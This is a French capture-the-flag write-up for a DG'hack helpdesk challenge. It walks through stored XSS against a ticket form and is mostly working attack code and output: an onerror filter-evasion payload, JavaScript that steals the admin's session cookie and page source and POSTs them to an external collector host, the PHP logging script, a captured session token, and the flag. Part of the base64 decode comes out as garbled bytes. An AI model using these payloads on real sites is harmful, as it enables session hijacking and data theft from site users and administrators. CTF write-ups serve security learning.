# Write Up DG hack Internal Support 2
# Problème 1 : la détection XSS
Première difficulté, on remarque que cette fois, il y un système qui détecte l'injection de script dans le formulaire du ticket.

Mais sur ce site [https://owasp.org/www-community/xss-filter-evasion-cheatsheet](https://owasp.org/www-community/xss-filter-evasion-cheatsheet), on trouve quelques techniques pour éviter que nos injections XSS soient détectées.
Ma solution retenue est de mettre le code javascript dans le champs onerror d'une image, et de provoquer une erreur pour qu'il s'execute:
```
<IMG SRC=/ onerror="{{MON CODE JS ICI}}"></img>
```
Ca marche !

Après plusieurs essais de mon ancien code pour Internal Support 1, j'ai remarqué que la requette ne marche que si c'est une requette POST. Dans la requette POST on ne peut pas encoder tous les caractères du Cookie, il faut encodeURI() le Cookie.
J'utilise ce code pour récupérer le cookie session de l'admin:
```
<iframe id="trol"
title="Inline Frame Example"
width="300"
height="200"
src="http://www.monsite.com/recupost.php?">
</iframe>
<IMG SRC=/ onerror="var str1='http://www.monsite.com/recupost.php?ses='
var recordthat = new XMLHttpRequest();
recordthat.open( 'POST', 'http://www.monsite.com/recupost.php', false );
recordthat.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var str3 =document.cookie;
var words = str3.split('=')
recordthat.send('ses='+encodeURI(words[1]));"></img>
```
Avec dans la page recupost.php:
```
<?php
$res= $_POST['ses'];
echo "
voici la transmissiion: <br />
".$res;
$fp = fopen('data.txt', 'a');
fwrite($fp, '-------------------------
');
fwrite($fp, $_SERVER['REMOTE_ADDR']);
fwrite($fp, ':
'); fwrite($fp, $res);
fclose($fp);
?>
```
Une fois que l'admin passe sur la page, on a dans data.txt:
```
-------------------------
46.30.202.223:
.eJwlTstqwzAQ_BWhcyiSvLuS8hW9l2BW0m5s6sbFck4h_15BT8M8mJmXnXXjvki316-XNecA-yO9813sxX5uwl3Mtt_N-jDnbrjWYZpzWbv5HZkPe3vfLqPkkL7Y63k8ZbC12avNFadSIGPz5CNLiF4TR54ougrggHxWcso5JmzoIWojpZaoRoHo2E0gqhhSSDUV5BZJM6lnFS-UpyzK4AIiNM4cI_iJSbFgcVQajvvzs8vx_8YPWvuh87l_y2MIEGqIKkwF1GN2JWPmJuDGNvoEIWAN2pp9_wHo61Ye.X8PdQQ.caXkNZaRkiM3cam_dZlOvaF6VOM
```
Mais en remplacant mon cookie par celui de l'admin on obtient:

---
# Problème 2 : la détection du changement d'IP après le login
Après avoir pas mal essayé de voir si dans le cookie il n'y a pas l'IP encodée (le cookie session à 3 champs séparés par des '.', le 2eme est l'heure), je me rends à l'évidence, il va falloir que l'admin me transmette carrément le code de la page d'accueil.
J'ai donc essayé, qu'au lieu de poster le cookie, l'admin poste le code source de la page d'accueil.
Après plusieurs tentative pour récupérer le code de la page d'accueil, je me demande si je ne fais pas fausse route. On me donne un mini-hint: C'est ca mais ton code est pas bon.
Une fois le bon code trouvé, problème, le code s'arrète juste avant le flag:
Injection XSS:
```
<IMG SRC=/ onerror="var str1='http://www.monsite.com/recupost.php?ses='
var GETHOME = new XMLHttpRequest();
GETHOME.open('GET', '/', false);
GETHOME.send(null);
var recordthat = new XMLHttpRequest();
recordthat.open( 'POST', 'http://www.monsite.com/recupost.php', false );
recordthat.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var str3 =GETHOME.responseText
recordthat.send('ses='+(str3));"></img>
```
Contenu de data.txt:
```
46.30.202.223:
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>InternalSupport - Ticket list</title>
<link rel="shortcut icon" href="/static/favicon.png" type="image/png">
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/slick.css">
<link rel="stylesheet" href="/static/css/magnific-popup.css">
<link rel="stylesheet" href="/static/css/LineIcons.css">
<link rel="stylesheet" href="/static/css/default.css">
<link rel="stylesheet" href="/static/css/style.css">
<link rel="stylesheet" href="/static/css/custom.css">
</head>
<body>
<header class="header-area">
<div class="navbar-area navbar-one navbar-transparent">
<div class="container">
<div class="row">
<div class="col-lg-12">
<nav class="navbar navbar-expand-lg">
<a class="navbar-brand" href="/">
InternalSupport
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarOne" aria-controls="navbarOne" aria-expanded="false" aria-label="Toggle navigation">
<span class="toggler-icon"></span>
<span class="toggler-icon"></span>
<span class="toggler-icon"></span>
</button>
<div class="collapse navbar-collapse sub-menu-bar" id="navbarOne">
<ul class="navbar-nav m-auto">
<li class="nav-item active">
<a href="/">Tickets</a>
</li>
<li class="nav-item">
<a href="/logout/">Logout</a>
</li>
</ul>
</div>
<div class="navbar-btn d-none d-sm-inline-block">
<ul>
<li><a class="light" href="/#i-need-help">New support request</a></li>
</ul>
</div>
</nav> <!-- navbar -->
</div>
</div> <!-- row -->
</div> <!-- container -->
</div>
</header>
<section style="margin-top: 50px;" class="pt-95 pb-100">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title text-center pb-20">
<h4 class="title">Pending request</h4>
</div>
</div>
</div>
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title text-center pb-20">
<h5>No tickets submitted :)</h5>
</div>
</div>
</div>
</div>
</section>
<section style="margin-top: 50px;" class="pt-95 pb-100">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title pb-20">
<h4 class="title">TODOLIST</h4>
</div>
</div>
</div>
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title pb-20">
<p class="text">
- Fix the kernel panic problem on the servers
</p>
<p class="text">
- Find a solution for the XSS on the helpdesk system
</p>
<p class="text">
- Hide the flag -------------------------
46.30.202.223:
<!doctype html>
<html lang="fr">
<head>
<meta charset="utf-8">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>InternalSupport - Ticket list</title>
<link rel="shortcut icon" href="/static/favicon.png" type="image/png">
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<link rel="stylesheet" href="/static/css/slick.css">
<link rel="stylesheet" href="/static/css/magnific-popup.css">
<link rel="stylesheet" href="/static/css/LineIcons.css">
<link rel="stylesheet" href="/static/css/default.css">
<link rel="stylesheet" href="/static/css/style.css">
<link rel="stylesheet" href="/static/css/custom.css">
</head>
<body>
<header class="header-area">
<div class="navbar-area navbar-one navbar-transparent">
<div class="container">
<div class="row">
<div class="col-lg-12">
<nav class="navbar navbar-expand-lg">
<a class="navbar-brand" href="/">
InternalSupport
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarOne" aria-controls="navbarOne" aria-expanded="false" aria-label="Toggle navigation">
<span class="toggler-icon"></span>
<span class="toggler-icon"></span>
<span class="toggler-icon"></span>
</button>
<div class="collapse navbar-collapse sub-menu-bar" id="navbarOne">
<ul class="navbar-nav m-auto">
<li class="nav-item active">
<a href="/">Tickets</a>
</li>
<li class="nav-item">
<a href="/logout/">Logout</a>
</li>
</ul>
</div>
<div class="navbar-btn d-none d-sm-inline-block">
<ul>
<li><a class="light" href="/#i-need-help">New support request</a></li>
</ul>
</div>
</nav> <!-- navbar -->
</div>
</div> <!-- row -->
</div> <!-- container -->
</div>
</header>
<section style="margin-top: 50px;" class="pt-95 pb-100">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title text-center pb-20">
<h4 class="title">Pending request</h4>
</div>
</div>
</div>
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title text-center pb-20">
<h5>No tickets submitted :)</h5>
</div>
</div>
</div>
</div>
</section>
<section style="margin-top: 50px;" class="pt-95 pb-100">
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title pb-20">
<h4 class="title">TODOLIST</h4>
</div>
</div>
</div>
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="section-title pb-20">
<p class="text">
- Fix the kernel panic problem on the servers
</p>
<p class="text">
- Find a solution for the XSS on the helpdesk system
</p>
<p class="text">
- Hide the flag
```
La transmission s'arrète juste avant le flag ... :(
---
# Problème 3 : l'arret de transmission juste avant le flag
Je ne savais pas si l'arret était du à un caractère spécial, ou si le nombre caractère maximal d'une requète POST était atteint.
J'ai décidé de traiter les 2:
-J'ai transmis seulement le contenu **après** le mot "flag"
-J'ai tout encodé en base64 (fonction btoa())
Ca donne pour l'injection:
```
<IMG SRC=/ onerror="var str1='http://www.monsite.com/recupost.php?ses='
var GETHOME = new XMLHttpRequest();
GETHOME.open('GET', '/', false);
GETHOME.send(null);
var recordthat = new XMLHttpRequest();
recordthat.open( 'POST', 'http://www.monsite.com/recupost.php', false );
recordthat.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
var str3 =GETHOME.responseText
var words = str3.split('flag')
recordthat.send('ses='+btoa(words[1]));"></img>
```
On récupère dans data.txt:
```
46.30.202.223:
ICYjMzQ7QkV0dGVyX0JVVF9TVCFMTF9OMHR0dHR0dHR0dHQrK1ByZmN0ISYjMzQ7IGEgbGl0dGxlIGJpdCBiZXR0ZXIKICAgICAgICAgIDwvcD4KCiAgICAgICAgPC9kaXY CiAgICAgIDwvZGl2PgogICAgPC9kaXY CiAgPC9kaXY Cjwvc2VjdGlvbj4KCgoKICA8c2NyaXB0IHNyYz0iL3N0YXRpYy9qcy92ZW5kb3IvbW9kZXJuaXpyLTMuNi4wLm1pbi5qcyI PC9zY3JpcHQ CiAgPHNjcmlwdCBzcmM9Ii9zdGF0aWMvanMvdmVuZG9yL2pxdWVyeS0xLjEyLjQubWluLmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iL3N0YXRpYy9qcy9ib290c3RyYXAubWluLmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iL3N0YXRpYy9qcy9wb3BwZXIubWluLmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iL3N0YXRpYy9qcy9pbWFnZXNsb2FkZWQucGtnZC5taW4uanMiPjwvc2NyaXB0PgogIDxzY3JpcHQgc3JjPSIvc3RhdGljL2pzL2pxdWVyeS5lYXNpbmcubWluLmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iL3N0YXRpYy9qcy9zY3JvbGxpbmctbmF2LmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iL3N0YXRpYy9qcy9zbGljay5taW4uanMiPjwvc2NyaXB0PgogIDxzY3JpcHQgc3JjPSIvc3RhdGljL2pzL21haW4uanMiPjwvc2NyaXB0Pgo8L2JvZHk CjwvaHRtbD4=
```
Qui se décode base64 en:
```
"BEtter_BUT_ST!LL_N0tttttttttt++Prfct!" a little bit better
</p>
</divÙ]Ù]¢ÂöF`(ð½ÍÑ¥½¸ø((((ñÍÉ¥ÁÐÍÉô½ÍÑ
Ñ¥½©Ì½Ù¹½È½µ½É¹¥éȴ̸ظÀ¹µ¥¸¹©Ì</scriptØÜ\ÜÏHÜÝ]XËÚËÝ[ÜÚ]Y\KLKLZ[ÈÜØÜ\ØÜ\ÜÏHÜÝ]XËÚËØÛÝÝ\Z[ÈÜØÜ\ØÜ\ÜÏHÜÝ]XËÚËÜÜ\Z[ÈÜØÜ\ØÜ\ÜÏHÜÝ]XËÚËÚ[XYÙ\ÛØYYÙÙZ[ÈÜØÜ\ØÜ\ÜÏHÜÝ]XËÚËÚ]Y\KX\Ú[ËZ[ÈÜØÜ\ØÜ\ÜÏHÜÝ]XËÚËÜØÜÛ[Ë[]ÈÜØÜ\ØÜ\ÜÏHÜÝ]XËÚËÜÛXÚËZ[ÈÜØÜ\ØÜ\ÜÏHÜÝ]XËÚËÛXZ[ÈÜØÜ\ØÙ@£ÂöFÖÃ
```
Le flag est : **BEtter_BUT_ST!LL_N0tttttttttt++Prfct!**
Les caracteères bloquants étaient des `"` soit "
Write up par Shurex/CTP